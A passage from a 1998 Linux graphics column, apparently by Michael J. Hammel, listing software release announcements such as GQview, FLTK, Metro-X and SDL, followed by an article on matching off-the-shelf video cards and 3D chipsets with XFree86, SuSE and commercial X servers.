viewer. Features include zoom, maxpect, scale down, fullscreen, brightness/contrast/gamma correction, slideshow, flip horizontal/vertical, rotate left/right, delete (move to .qiv-trash/), jump to image x, jump forward/backward x images, filename filer and you can use qiv to set your X11-Desktop background. This version works on Solaris/SunOS again. http://www.geocities.com/SiliconValley/Haven/5235/ ______________________________________________________________________ GQview 0.4.3 GQview is an X11 image viewer for the Linux operating system. Its key features include single click file viewing, external editor support, thumbnail preview, thumbnail caching and adjustable zoom. GQview is currently available in source, binary, and rpm versions and requires the latest GTK and Imlib libraries. This release adds copy and move capabilities, the ability to hide the tools area, cancel thumbnail generation by pressing Escape, and more. http://www.klografx.de/ http://www.geocities.com/SiliconValley/Haven/5235/ ______________________________________________________________________ FLTK 19981006 FLTK (pronounced "fulltick") is a LGPL'd C++ user interface toolkit for X, OpenGL, and Microsoft Windows. FLTK is deliberately designed to be small, so that you can statically link it with your applications and not worry about installation problems. As a side effect it is also extremely fast. On September 25, 1998, Digital Domain instructed Mr. Bill Spitzak to discontinue development of FLTK. Shortly thereafter a group of developers for FLTK reincarnated the library on a mirror site so that development could continue. The FLTK web page, FTP site, mailing list, and CVS server are being hosted by Easy Software Products, a small software firm located in Maryland. Easy Software Products develops commercial software and supports free software. http://fltk.easysw.com/ ______________________________________________________________________ XawTV 2.28 XawTV is a simple Xaw-based TV program which uses the bttv driver or video4linux. It contains various command-line utilities for grabbing images and avi movies, for tuning in TV stations, etc. A grabber driver for vic and a radio application (needs KDE) for the boards with radio support are included as well. http://www.in-berlin.de/User/kraxel/xawtv.html ______________________________________________________________________ jmk-x11-fonts 1.2 The jmk-x11-fonts package contains character-cell fonts for use with the X Window System. The current font included in this package is NouveauGothic, a pleasantly legible variation on the standard fixed fonts that accompany most distributions of the X Window System. It comes in both normal and bold weights in small, medium, large, and extra-large sizes. Currently only ISO-8859-1 encoding is available. New in this release of Jim's fonts for X is a set of alternate NouveauGothic fonts with a more traditionally shaped ampersand glyph, for those who don't particularly like the style of NG's regular ampersand. http://www.ntrnet.net/~jmknoble/fonts/ ______________________________________________________________________ KIllustrator 0.4.1 KIllustrator is a freely available vector-based drawing application for the famous K Desktop Environment similiar to Corel Draw(tm) or Adobe Illustrator(tm). This version contains a new layer facility as well as some bug fixes and performance improvements. http://wwwiti.cs.uni-magdeburg.de/~sattler/killustrator.html ______________________________________________________________________ MathMap 0.7 MathMap is a GIMP plug-in which allows distortion of images specified by mathematical formulas. For each pixel in the generated image, an expression is evaluated which should return a pixel value. The expression can either refer to a pixel in the source image or can generate pixels completely independent of the source. MathMap not only allows the generation of still images but also of animations. The MathMap homepage can be found at http://www.unix.cslab.tuwien.ac.at/~schani/mathmap/ It includes a user's manual as well as screenshots and examples. Changes since 0.6: * Implemented the tagged tuples type system. This is major feature! * Implemented better error handling by borrowing a piece of code from the current development tree of chpp. Mark Probst schani@unix.cslab.tuwien.ac.at ______________________________________________________________________ METRO-X 4.3 The following announcement was posted to comp.os.linux.announce by MetroLink, Inc. NOW AVAILABLE FOR LINUX/ALPHA! The Metro-X Enhanced Server Set from Metro Link is now available for Linux/Alpha. Metro-X provides more speed and more features at a very LOW PRICE! Metro-X 4.3 is an X11 Release 6.3 server replacement with all the features you need. It provides support for the fastest, most popular graphics cards on the market today. In addition, Metro-X includes touch screen support and multi-screen support at no extra charge! So what IS the charge? Only $39! ===GRAPHICAL CONFIGURATION UTILITY=== Forget hand editing configuration files or clumsy character-based setup utilities. Metro-X 4.3 includes a state-of-the-art graphical configuration program. ConfigX helps you get up and running in no time. ===EXTENSIVE GRAPHICS CARD SUPPORT=== Want support for the latest, highest-performance graphics cards? Then you want Metro-X 4.3. Check the Metro-X 4.3 cardlist for Linux/Alpha on the web site to see which cards are supported, as well as the available resolutions and colors for each. In addition, as support becomes available for new cards between releases, these updates to Metro-X 4.3 will be made available at no charge. ===MONITOR SUPPORT=== Tired of adjusting your monitor or hand-editing timing parameters? With Metro-X you can relax. Just select your monitor from the list and we do the rest. Even adjusting the image is made easy with a graphical adjustment tool. Using the mouse or keyboard, you simply stretch, shrink, or shift the image placement on the monitor! ===TOUCH SCREEN SUPPORT INCLUDED=== At no extra charge, Metro-X 4.3 includes support for several models of touch screens. These include the serial touch-screen controllers from: Carroll Touch EloGraphics Lucas Deeco MicroTouch ===MULTI-HEADED DISPLAY SUPPORT INCLUDED=== At no extra charge, Metro-X 4.3 includes support for up to 4 screens per server which can all be controlled simultaneously with a single keyboard and mouse. This allows you to run many applications without overlapping windows. The graphical configuration utility makes it simple to configure multiple graphics cards and even lets you pick the screen layout. You can utilize this feature with many combinations of these cards: Matrox Millennium Matrox Millennium II Matrox Mystique Matrox Mystique 220 NOTE: Only one Mystique or Mystique 220 (not both) may be used in the combination. ===ROBUST PERFORMANCE=== Reliability and performance are the foundation of Metro-X. Our customers are using Metro-X in demanding applications from the Space Shuttle to the Battlefield. Metro-X 4.3 incorporates advanced dynamic loader technology which eliminates the need to build servers for specific types of graphics cards. It makes server configuration quick and easy. ===METRO OPENGL EXTENSION AVAILABLE SOON=== Using Metro-X's dynamic loader technology, adding an extension like Metro OpenGL is as easy as installing a package and running a program. This product will be available for Linux/Alpha very soon. ===METRO LINK TECH SUPPORT=== As always, software purchased from Metro Link comes with 90 days of free technical support (via phone, fax, or email) and a 30-day money-back guarantee. ===SYSTEM REQUIREMENTS=== HARDWARE: Metro-X 4.3 requires 14 MB of disk space. 8MB of RAM are required; 16 MB are recommended. SOFTWARE: Packages are provided in both RPM and tar/gzip formats. Metro-X 4.3 requires these minimum versions of software: Linux Kernel 2.0.30; glibc 2.0.5c; and XFree86 3.3.1. ===AVAILABILITY AND DISTRIBUTION=== PRICE: Metro-X 4.3 is $39 AVAILABILITY: Now DISTRIBUTION: Metro-X is only distributed via FTP. A postscript version of the Metro-X manual is included. With a credit card payment, the FTP instructions are usually emailed on the same day the order is received. Be sure to include your email address when ordering. ===CONTACT METRO LINK=== www.metrolink.com sales@metrolink.com +1-954-938-0283 ext. 1 +1-954-938-1982 fax ______________________________________________________________________ GNU PlotUtils 2.1.6 Version 2.1.6 of the GNU plotting utilities ("plotutils") package is now available. This release includes a significantly enhanced version of the free C/C++ GNU libplot library for vector graphics, as well as seven command-line utilities oriented toward data plotting (graph, plot, tek2plot, plotfont, spline, ode, and double). A 130-page manual in texinfo format is included. As of this release, GNU libplot can produce graphics files in Adobe Illustrator format. So you may now write C or C++ programs to draw vector graphics that Illustrator can edit. Also, the support for the free `idraw' and `xfig' drawing editors has been enhanced. For example, the file format used by xfig 3.2 is now supported. RPM's for the plotutils package are available at ftp.redhat.com and at Red Hat mirror sites. The following are available: ftp://ftp.redhat.com/pub/contrib/i386/plotutils-2.1.6-1.i386.rpm ftp://ftp.redhat.com/pub/contrib/sparc/plotutils-2.1.6-1.sparc.rpm ftp://ftp.redhat.com/pub/contrib/SRPMS/plotutils-2.1.6-1.src.rpm For more details on the package, see its official Web page, http://www.gnu.org/software/plotutils/plotutils.html . I hope you find this release useful (send bug reports and suggestions for enhancement both to bug-gnu-utils@gnu.org and to me). Enjoy. Robert S. Maier - rsm@math.arizona.edu ______________________________________________________________________ Simple DirectMedia Layer Version 0.8 This library is designed to make it easy to write games that run on Linux, Win32 and BeOS using the various native high-performance media interfaces, (for video, audio, etc) and presenting a single source-code level API to your application. This is a fairly low level API, but using this, completely portable applications can be written with a great deal of flexibility. SDL has been split into a stable release, 0.8.x, and a development release, 0.9.x. The stable version is very robust, having been extensively tested over the past 3 months. The development version has some exciting features in progress, such as automatically adjusting to display changes, CD-ROM support, and more. Get it now from: http://www.devolution.com/~slouken/SDL/ GIMP lovers, grab your brushes! The "Official SDL Logo Contest" is now in session. Send your entries, or instructions on downloading your entries, via e-mail to slouken@devolution.com The winner will get his or her logo on the SDL web site, and will get their names in the CREDITS list for the next version of SDL! You can view the contest entries at http://www.devolution.com/~slouken/SDL/contest/. And if you're wondering.. "what can I really do with SDL?", be sure and download the examples archive, which contains demontrations of: * Simple sprite animation * Flame effects * Organic firework animation * Playing .FLC and .FLI animations * Playing WAV and Macintosh sound resources * Playing .MOD, .S3M, and .XI modules * Plasma effects and palette animation * Cut and paste of text and images * Starfield rotation * Truetype font rendering with FreeType 1.1 * Dynamic image warping * Emulating the Prometheus TrueColor API If you are interested, join the development mailing list by sending e-mail to: sdl-subscribe@surfnetcity.com.au Enjoy, Sam Lantinga ______________________________________________________________________ tkscanfax tkscanfax provides combined GUI for command line scanner driver and mgetty+sendfax, written in tcl/tk. It is a continuation of tkscan-0.8. This version adds mgetty+sendfax GUI combined with tkscan to get fax scanning from tkscan. It is available from http://muon.kaist.ac.kr/~hbkim/linux/tkscanfax and also from the apps/graphics/capture directory at Sunsite. There is no documentation at this time. Please send questions, problems, comments or suggestions to Hang Bae Kim ______________________________________________________________________ MAM/VRS MAM/VRS is a library for animated, interactive 3D graphics, written in C++. It works on Unix (tested on Linux, Solaris and Irix) and Windows 95/98/NT. MAM/VRS can produce output for many rendering systems: OpenGL (or Mesa), POVRay, RenderMan and VRML are supported. It provides bindings to many GUIs: Xt (Motif/Lesstif/Athena), Qt, Tcl/Tk, MFC and soon Gtk. It is covered by the terms of the GNU LGPL. Visit our homepage for more information and to download it: http://wwwmath.uni-muenster.de/~mam Though this is the first public announcement, MAM/VRS has been in active development and use for a long time and is stable. MAM/VRS is not a 3D modeler or a 3D CAD/CAM program, but it ... * is a C++ 3D graphics library, * offers a convenient scene graph API to quickly build complex 3D scenes, * contains many classes to modify or interact with the objects of the scenes, and to create animations, * is very extensible: support for new renderers, GUIs, shapes, attributes, interaction or rendering techniques etc. can be added easily, * comes with a tutorial, per-class documentation and many examples. ______________________________________________________________________ Xi Graphics There were a slew of announcements from Xi Graphics posted to comp.os.linux.announce this past month. I've globbed them together here under a single section.- 'Muse SiS 5598 support Xi Graphics made SiS 5598 support available on September 14th, joining the previously supported SiS 6326. Configurations for 1, 2, 3 and 4MB are supported. The SiS 5598 is not capable of supporting overlays but does support hardware gamma color correction in all color depths. Maximum supported resolution is 1600x1200@60Hz in 8bpp, and 1024x768@75Hz in 24bpp (packed) operation. Hardware cursor is supported in all color depths. The Accelerated-X Server conforms to the X Window System as measured by the freely available X Test Suite. The update, which should be applied against the desktop (AX version) Accelerated-X Server version 4.1.2, is available from the Xi Graphics Anon-FTP site at URL: ftp://ftp.xig.com/pub/updates/accelx/desktop/4.1.2/D4102.013.tar.gz Instructions for applying the update and more detail may be found in the URL: ftp://ftp.xig.com/pub/updates/accelx/desktop/4.1.2/D4102.013.txt The update may be applied to the freely available Accelerated-X demo at URL ftp://ftp.xig.com/pub/demos/AX412.Linux.tar.gz for customer testing prior to purchase of the product. NeoMagic MagicMedia, including Toshiba Tecra 800 and the Gateway Solo 5150 Xi Graphics is pleased to announce the release of support for the NeoMagic MagicMedia 256AV, also known as the NM2200 and the NM2360. This is much faster than previous NeoMagic chipsets as the new benchmarks show. The initial machines explicitly supported are the Toshiba Tecra 800 and the Gateway Solo 5150. Benchmark tests were conducted on a Toshiba Tecra 8000 with a Pentium II/266 Mhz processor, making the results broadly comparable with those for the ATI Rage LT Pro announced in August. The Accelerated-X Server, Xaccel, passes the X Test Suite with hardware acceleration in all color depths. Accelerated-X/OGL Xi Graphics, leader in X Window System technologies for Intel Linux and UNIX Systems will be shipping a limited quantity edition Technology Demo of its' new Accelerated-X/OGL product. Accelerated-X/OGL is the fifth architecture generation of Accelerated-X and has been specifically altered to provide support for a wide range of 3D graphics chips. The limited edition Technical Demonstration release offers an opportunity for games and other developers to influence the final delivered product. The Accelerated-X/OGL Technology Demo Evolution 1 product features: * Only available for threaded OS's: + Linux/glibc2 + Solaris/x86 2.51, 2.6 + UNIXware 7 * Fully accelerated 2D Server, X11R6.4 specs * OpenGL 1.1.1 libraries, GLX Server extension * Hardware accelerated 3D support for: + Number 9 Revolution IV aka Ticket to Ride IV + Intel 740 o Real3D StarFighter, o Diamond Stealth II G460 o etc + 3Dlabs Permedia 2 o Diamond Fire 1000 GL Pro o ELSA Winner 2000/Office o etc + 3Dlabs Glint MX & Delta o ELSA Gloria-XL o Leadtek L2520 o etc + SiS 6326 o ASUS AGP-V1326 o etc * 8, 15/16, 24/32 bpp if supported by hardware * Overlays if supported by hardware * multiple concurrent 3D windows, not just full screen * Tablet support (Wacom, Summagraphics protocols) * Spaceball (6DoF) support for Logitech Magellan For this limited edition of the product, please contact devrel@xig.com to apply for a copy. The Xi Graphics Sales are unable to take orders for this product as we expect the demand to significantly exceed the supply! Monthly drawings for copies of Accelerated-X Xi Graphics is pleased to announce that we're giving away free copies of the industry leading Accelerated-X Display Server. These are full, up to date, legal and supported copies of the product. To register to win one of the two free copies we're giving away every month, either register for the monthly draw on our web site (http://www.xig.com) or send email following the directions published below. We do, of course, have a motive for this. We want to know what Graphics Board, Monitor, Input devices and Operating Systems you'd most like to use with Accelerated-X and we want to find out about the kind of machine you use. To enter the drawing by email, you must complete an entry form for that months draw. Send the email to Andrew Bergin (abergin@xig.com) with the subject "Free Draw Entry" and include in your message the following details: Your Name Your Company or Organisation Your Shipping Address Your Email Address (Optional) Your Web Site Address What make and model of computer, and processor speed The Graphics Card you'd like to use The Monitor you'd like to use Your preferred pointing devices Your preferred operating system There will be a new draw every month. You must enter each month to be eligible for that months drawing. Only one submission per person, per drawing will be accepted. The winners name may be put on our web site and in other promotional material. Information collected, including your email and physical shipping address, will not be sold to any third party. We may use your address for our infrequent mailings unless you write to ask us to remove your name from the mailing list. Xi Graphics will pay the cost of shipping only, including international shipping. Any and all customs charges and/or taxes are the responsibility of the winner. indent © 1998 by Michael J. Hammel [INLINE] © 1998 Michael J. Hammel indent Off the shelf video cards: Choosing the right solution the first time. Metro Link X Input Support more musings... ______________________________________________________________________ Off the shelf video cards: Choosing the right solution the first time Video cards have come a long way in the past 2 years. Back then a video card was considered top of the line if it handled generic 2D acceleration features and state of the art encompassed the first of the new generation of 3D accelerators. These days 2D acceleration is common place and an expected feature of video cards and 3D acceleration is not only more common but more standardized. In this article we'll take a look at finding off the shelf video cards, that is video cards available from your local computer retailers or by mail order, and how to match those cards with an X server. A little background X servers are the device drivers used in conjunction with video cards in order to display your windowing system under Linux. Unlike the Microsoft world, where each card has its own driver, X servers tend to support many cards with a single driver. For example, the XF86_SVGA driver from the XFree86 distribution supports many older SuperVGA cards plus the more advanced Matrox Millenium and Mystique cards. Xi Graphics AcceleratedX server supports all of its cards with a single server that uses dynamically loaded modules depending on which video card you happen to be using and have configured. The trick is to understand which X server to use for the video card you are using. Since X servers work with more than one card, they tend to list which video chipset they support. This is because many cards use similar chipsets and it is difficult for X server vendors, who up until recently had to work independent of the video card manufacturers much of the time, to keep up with all the different video card product names. Video card manufacturers tend to use the same, relatively small, set of video chipsets for their own product lines so having a single X server to handle that entire line makes a little more sense than having a individual drivers for every card. Why am I doing this? Ordinary users don't really understand about chipsets, they only see the card names from manufacturers: ATI Graphics Pro Turbo or Hercules Dynamite, for example. Additionally, video card manufacturers are notorious for NOT specifying the chipsets they use in their cards. They also tend to try and hide minor video card differences with name changes and pricing differences - its called carrying a product line. Video hardware vendors are used to delivering device drivers with their hardware for the traditional desktop user, ie Microsoft users. X servers are written by individuals or groups, outside the hardware vendors control, with chipsets in mind. The servers (we call them servers because of the underlying X Windows architecture, but they are still just device drivers) are distributed on their own, not with the video hardware. This is mostly because hardware vendors, in the past, really saw little market demand for doing the work on the X servers themselves. So external entities had to do the work on their own. So video hardware vendors sell video cards based on product names without X servers and X server software is written and described in terms of chipsets and not specific video cards. Confused? You're not alone. So how does an end user resolve these different approaches and find a working combination of video card and X server? This article won't give absolute answers for all the cards available off the shelves, but it will help educate new users as to how things work and what to look for when preparing to make a new video card purchase. I assume here that you're reading this with an intent to purchase a new video card sometime in the near future, or that you have done so in the recent past and are trying to figure out how to make it work under X Windows with Linux. What's the deal with all the 3D stuff? 3D hardware accelerators are hot items. You can hardly find video cards on the shelves of your local retailers that don't mention some form of 3D support or features. But what exactly is 3D? And more important, do you need it? 3D cards often provide at least some of the following hardware acceleration features: Fast computation of 3D objects. 3D objects are made up of any number of various sized triangles. Computing the position and size of these triangles is very computationally expensive. 3D video cards can help speed up those computations. Texture map memory. You'll often here individual units of texture memory referred to as texels. These are used to speed up the mapping of images to flat surfaces which can be used as a trick for high speed motion. Its very slow to generate a tree, for example, from a large number of individual triangles than from one large flat one with a picture of a tree on it. Done properly you might not even be able to tell this trick has been used. Z-buffering. The mapping of images into 3D space in video memory. If you think of 2D space as the XY axis of a coordinate plane then the Z axis would be used to show distance in 3D space. Flat and Gouroud shading. The latter being what gives a smooth 3D apperance to a sphere, for example. Shadow mapping. This allows programmers to associate shadows with objects without having to calculate the shadow at run time. Shadows are cast via calculations of how light moves in 3D and that can be very computationally expensive. Bilinear filtering. A technique that reduces artifacts when small graphics are scaled up. Many cards provide far more features than this as well, all of which have to do with taking an object described in 3D space and displaying it (and other objects) on a flat 2D monitor. Older 3D cards - those over a year or so in age - often had their own proprietary interface in order to access the accelerated features. This has been superceded recently by more popular interfaces (called API's for Application Programming Interfaces) such as OpenGL (or Mesa, a free implementation of OpenGL) or the 3Dfx Glide interface. Making use of 3D hardware acceleration requires that you have 1. An X server or other video driver that can drive this card. 2. Application software that knows how to speak the API for that card. Usually this is an application that speak OpenGL/Mesa or Glide on Linux systems. The way this works is that the application speaks the API language only and doesn't care if 3D acceleration is done in hardware or software. The API, ie OpenGL or Glide, then understands how to use hardware acceleration. In some cases this will be by direct support from the X server and in other cases it will be by utilizing a separate driver for the 3D card. There are also cards that support Microsoft's Direct3D API, an alternative to the OpenGL API. Don't bother with these cards if you are looking for 3D acceleration because as of now there are not only no drivers for them, there aren't any applications on Linux that speak this API language. At the moment there are not that many OpenGL/Mesa applications that end users might be interested in. A few 3D modellers, such as AC3D or 3dom, use OpenGL but most of the support for OpenGL comes in the form of windowing toolkit extensions. These are developers tools and beyond the scope of this discussion. 3D video cards under Linux normally work in one of three ways: 1. mulitple cards using pass through cables 2. mulitple cards using multiple monitors 3. single card handling both 3D acceleration and standard SVGA (2D) acceleration In the fist two cases you have two cards: your regular VGA/2D card and the 3D video card. You would have an external driver that runs the 3D card while using your X server to drive your regular video card. This is how the early support for Voodoo cards (Voodoo is a chipset from 3Dfx used in various 3D cards produced by other manufacturers) in Mesa worked (see the 3Dfx Howto). With pass through cables you had your regular VGA output passed through your 3D card which would pass it directly to its output port unless a 3D driver had turned the card "on". Once enabled, the 3D card would ignore the signal coming from the 2D card. This works fine most of the time unless your 3D application dies and doesn't tell the 3D card to start passing through the 2D signal again. In either case where multiple cards are used the standard VGA card knows nothing about the 3D card and works just like it always has. If your X server supports the 3D card directly you can skip using two cards and run just the 3D card. In some situations you won't get the 3D acceleration but will get to use the generally faster 2D features of that card. And there are some X servers that will provide the 3D acceleration too, so you get the best of both worlds. Hardware issues of 3D cards You can run PCI or the new AGP buses with these 3D video cards. AGP is Intel's Advanced Graphics Port which allows faster throughput between the CPU and graphics cards. Older cards used VRAM or EDO DRAM memory. Newer cards run the faster SVRAM or SGRAM. Not being hardware literate all I can say is that the SGRAM is reported to be much faster due to the way it is more closely tied into the video processor than the other forms of video memory. I asked Jeremy Chatfield at Xi Graphics and Paul Sargent at 3Dlabs for an explanation of these memory types. Jeremy provided the following answer: Basic differences: * VRAM & WRAM: dual ported (graphics engine & DAC have concurrent access) DRAM/EDO DRAM/SDRAM: single ported; GE or DAC SGRAM: packetised memory interface * WRAM allows some graphics operations without the graphics engine (GE); e.g. some types of BLIT can be done without GE or host processor time. WRAM is part of the reason for the high speed of the Millennium and Number 9 boards that use it. * DRAM is slower than VRAM because the GE can only write when the DAC is not reading memory. The higher the refresh rate, the less time the GE has. The effect is alleviated by EDO (Extended Data Out) which means that the output is held for some time, so that the GE can write while the DAC is still reading the EDO values. * SGRAM & MDRAM are new forms of packetised memory that can allow higher speeds and lower costs. WRAM and VRAM are still important. Probably the fastest combination for a board would be WRAM or VRAM for display memory and SGRAM for the non-display (double buffer/Z-Buffer/texture etc) Paul provided similar information but in quite a bit more detail. Some 3D cards also offer NTSC output plugs so you can connect the card to a TV, presumably to get a larger physical screen (although at the same resolution). I've never seen this however so can't really say much about its use. Do you need 3D acceleration? For the most part, no. Outside of games or visualization software it doesn't come into play much for the average Linux user. For example, it doesn't speed up word processing, the Gimp, or POV-Ray renders (which are CPU and memory bound). If you *are* into games or need off the shelf 3D support for visualization software (ie realtime 3D rendering with OpenGL or Mesa) then it can provide significant increases in speed for rendering operations. The problem is that support for the 3D hardware acceleration is just beginning to show up within the X servers themselves and running concurrent video cards (one for 2D and one for 3D) is not for the technically challenged. Instead, look to these cards for their future potential. Cards that support either OpenGL (which is likely to be around for some time) or 3Dfx's Glide API (which is quite popular with game enthusiasts on non-Unix platforms) are your best bet right now. Additionally, they're increased 2D acceleration will be a significant benefit to you in your day to day use. What happened to 2D? Nothing, its still there and basically everybody supports it now. 2D accerlation has to do with generic line drawing techniques, which speeds the drawing of windows for example. Any modern card - something made within the past 2 years - will support 2D acceleration. The advantage with newer cards is that they use faster memory and better acceleration for these 2D effects so ordinary use of windowing applications will look and feel much improved over older cards. Most cards now come with 1M or 2M of memory which will get you resolutions of about 1024x768 @ 65K colors. But the cost of these cards has dropped drastically in the past year or so and getting a card with 4M of video memory will get you 1280x1024 @ 16 million colors, certainly good enough for most applications and reasonably affordable monitors. Go higher (more memory - 8Mb or higher) only if 3D work is of real importance to you or if you expect to have very large displays running at full 24-bit color depths. What are currently the popular chipsets? * 3Dfx's Voodoo, Voodoo2 and Permedia 2 (the latter being the low end set) * NVidia's RIVA 128 and TNT * Cirrus Logic's Rendition Verité * Intel's i740 * Matrox G200/G100 * ATI has a number of chipsets but all are very similar. Some familiar ones are Mach64 and RAGE and RAGE II There are lots of others for various other cards but these seem to have the most noise being made about them in the press and certainly seem to have the biggest presence in cards available at the local retail outlets. What is on the shelves now? Note that this is only based on what I found at three local retailers (although all three are national in scope) or via C|Net's Computers.com. Also, prices vary depending on the amount of video memory on the card, so just use these prices as guidelines. All prices are in US dollars. I've tried to list the chipsets for these cards if I could find them. Finally, these cards may be PCI, AGP or both - you'll just have to check on that aspect on your own. Video Card Chipset Price ATI All in Wonder 3D Rage II $125 ATI All in Wonder Pro 3D Rage Pro $151 ATI Xpert@Play PCI and AGP 3D Rage Pro $150 ATI Xpert 98 ATI Rage Turbo $90 Creative Labs Graphics Blaster Extreme, Professional Edition Permedia 2 $183 Creative Labs Graphics Blaster Extreme, Value Edition Permedia 2 $53 Creative Labs Graphics Blaster RIVA TNT $175 Diamond Stealth II S220 Rendition Verite $100 Diamond Monster 3D Permedia 2 $250 Diamond Monster II Voodoo 2 $250 Diamond Viper V330 RIVA 128 $130 Diamond Fire GL 1000 Permedia 2 $??? Diamond Fire GL 1000 Pro Permedia 2 $144 Diamond Stealth 2000 S3 ViRGE $??? Elsa GLoria Synergy Permedia 2 $120 Elsa WINNER 2000 / Office Permedia 2 $??? Hercules Dynamite 3D/GL Permedia 2 $180 Hercules Thriller 3D Rendition V2200 $109 Hercules Terminator 2X/i Intel I740i $80 Hercules Stingray 128 3D Unknown $160 Hercules Terminator Beast S3 Savage 3D $120 Jaton S3 Video S3ViRGE/DX $40 LEADTEK WinFast 2300 Permedia 2 $??? Matrox Mystique G200 MGA-G200 $150 Matrox Millenium G200 MGA-G200 $150 STB Velocity 128 RIVA TNT $150 STB Velocity 4400 RIVA TNT $200 Its interesting to note the differences in different cards from the same companies. For example, upon examination of the packaging for the Matrox Mystique and Millenium the only differences that I could find where that the Mystique runs at 230Mhz and has S-Video and Composite outputs whereas the Millenium runs at 250Mhz and does not have S-Video or Composite outputs. Again, these are the off the shelf, "affordable" cards. Really high end cards can run into the $2000-$3000 range and higher and chances are slim that most of those cards have X server support yet. And there are plenty of other cards out there too - like I said, vendors love to change minor details and release it as a whole new product. What do the various vendors currently support? Ok, so now you know a little about what video cards are currently available and a little about the 2D/3D technology being used in them. How does this map to the available X servers? That depends on which server vendor you want to use. In this article we consider 4 vendors: XFree86, S.u.S.E (for their binary only versions that currently require non-disclosure agreements), Xi Graphics and MetroLink. Of all the vendors, MetroLink made it the easiest to find card names from their web site. SuSE's site was pretty good about it too. Xi Graphics has a fairly decent lookup system, but they mix chipsets with board vendors and if you don't know what you're looking for it can be a bit confusing since they support so many variations. XFree86, although they have plenty of documentation, do not make it simple to match a card by name with a driver. Give them credit for writing great software - now they need someone to organize and collate all that documentation on their web site for the average user. Red Hat has a hardware compatibility list, but its not obvious where to find it. Try "JumpWords" at the bottom of main page, choose "Hardware" and then the distribution you are currently running. These lists are by far better than any of the X server vendor lists because they tell you specifically which card goes with which server. Since Red Hat is shipping the XFree86 server this list is applicable to both S.u.S.E. and XFree86. Note: if you get to this list via the Red Hat main site (www.redhat.com) and you want to get a printable version of that page, select "No Frames" at the bottom of the page. The link below, however, will take you straight to the list. http://www.redhat.com/support/docs/rhl/intel/rh51-hardware-intel-11 .html Caldera's site does not have any such obvious hardware compatibility list. A search for "hardware compatibility" returns as the first entry a link to video card compatibility list for XFree86 - but the link is invalid! They definitely need to work on their site structure. Neither Slackware (via Walnut Creek's web site) nor InfoMagic are set up to provide this sort of user information. XFree86 This one is actually the easiest of the bunch, but don't start your search on the XFree86 site to figure it out. Instead, take a look at Red Hat's online list of supported hardware. They have video cards listed there sorted by which server supports which card. Using the set of cards listed previously, the following servers are expected to work (not all cards listed previously were listed on the Red Hat supported hardware list): Video Card XFree86 Server (all prefixed with "XF86_") ATI All in Wonder Mach64 ATI Xpert@Play Mach64 Creative Labs Graphics Blaster Extreme, Professional Edition SVGA Creative Labs Graphics Blaster Extreme, Value Edition SVGA Diamond Viper V330 SVGA Diamond Stealth 2000 S3V Elsa WINNER 2000 / Office S3V Hercules Dynamite 3D/GL SVGA (maybe) Hercules Terminator 2X/i SVGA (maybe) Hercules Stingray 128 3D SVGA Jaton S3 Video S3V (reported from one respondent) Matrox Mystique G200 SVGA Matrox Millenium G200 SVGA STB Velocity 128 SVGA STB Velocity 4400 SVGA (maybe) You can, additionally, look on the XFree86 site to get more information. The following list is one I gathered from perusing the www.xfree86.com web site. Note that many of the listed cards are older models and not typically what you'll find on the shelves these days. Still, you may be able to purchase some of these by mail order. Servers Cards SVGA ATI: GAWonder series: VGAWonder V3, VGAWonder V4, VGAWonder V5, VGAWonder+, VGAWonder XL, VGAWonder XL24, VGA Basic 16, VGA Edge, VGA Edge 16, VGA Integra, VGA Charger, VGAStereo F/X, VGA 640, VGA 800, VGA 1024, VGA 1024D, VGA 1024 XL, VGA 1024 DXL, VGA 1024 VLB Matrox: Millennium (MGA2064W) with Texas Instruments TVP3026 RAMDAC. It has been tested with 175MHz, 220MHz and 250MHz versions of the card with 2MB, 4MB and 8MB WRAM. Millennium II (MGA2164W) both PCI and AGP with Texas Instruments TVP3026 RAMDAC. It has been tested with 220MHz and 250MHz versions of the card with 4MB, 8MB and 16MB WRAM. Mystique with 170 and 220 MHz integrated RAMDACs (both MGA1064SG and MGA1164SG). Mach8 series Graphics Ultra, Graphics Vantage, VGAWonder GT (None of the 8514/Ultra and 8514 Vantage series is supported at this time) Mach32 series Graphics Ultra+, Graphics Ultra Pro, Graphics Wonder, Graphics Ultra XLR, Graphics Ultra AXO, VLB mach32-D, PCI mach32-D, ISA mach32 Mach64 series Graphics Xpression, Graphics Pro Turbo, Win Boost, Win Turbo, Graphics Pro Turbo 1600, Video Xpression, 3D Xpression, Video Xpression+, 3D Xpression+, All-In-Wonder, All-In-Wonder PRO, 3D Pro Turbo, ATI-TV, XPERT@Play, XPERT@Work, XPERT XL S3 Orchid Fahrenheit 1280+ VLB STB PowerGraph X.24 S3 (ISA), Pegasus VL, Velocity 64 Diamond Stealth 24 VLB, Stealth 64 DRAM ELSA Winner 1000 ISA/EISA (``TwinBus'', not Winner1000ISA!!), Winner 1000 VL, Winner1000PRO VLB, Winner1000PRO PCI #9 GXE Level 10, 11, 12, 14, 16, GXE64 - PCI, Pro VLB, Pro PCI, Trio64, FX Motion 771 S3V (ViRGE) Supports PCI hardware, ViRGE, ViRGE/DX, ViRGE/GX, ViRGE/GX2, ViRGE/MX, and ViRGE/VX, but no specific cards were listed. Newer support has been moved to the SVGA server. P9000 Diamond Viper VLB and PCI cards This is not a complete list, but does cover most of the off the shelf cards you may run into at local retailers or on the Internet. All binary versions of the XFree86 servers can be found at ftp://ftp.XFree86.org/pub/XFree86/current/binaries/ For example, Linux/Intel would be under ftp://ftp.XFree86.org/pub/XFree86/current/binaries/Linux-ix86/Servers/ . Additionally, a properly installed Linus system with the XFree86 run time system (which includes X11 libraries, clients and X servers) should contain the file /usr/X11R6/lib/X11/Cards listing the current known set of supported cards. S.u.S.E SuSE (www.suse.com), which is known primarily as a Linux distributor more than as an X server vendor, has a searchable database of graphics cards. From their main page choose "Hardware DB", then "Graphics Cards" from the scrollable list of topics. The DB search results are fairly informative but are titled in German. Don't let that throw you since the real info you're looking for is basically language independent when its displayed. Since S.u.S.E. ships the XFree86 servers along with a few of their own servers (usually developed initially under NDA until S.u.S.E. can get them into the XFree86 distribution), I'll just list those servers for which I could not find an XFree86 server specifically listed by Red Hat or the XFree86 web site. Card Server Diamond Stealth II S220 rendition Diamond Fire GL 1000 Pro glint Elsa GLoria Synergy glint Hercules Thriller 3D rendition LEADTEK WinFast 2300 unknown - its listed but no server is given Additionally, S.u.S.E. servers are based on XFree86 servers but with extended features. These updates will be or have already been incorporated into the next XFree86 releases. XFCom_Matrox Matrox Millennium G200 AGP Matrox Millennium II (PCI und AGP) Matrox Millennium Matrox Mystique XFCom_3DLabs server GLINT MX + GLINT Delta + IBM RGB 526DB: ELSA GLoria L/MX GLINT 500TX + GLINT Delta + IBM RGB 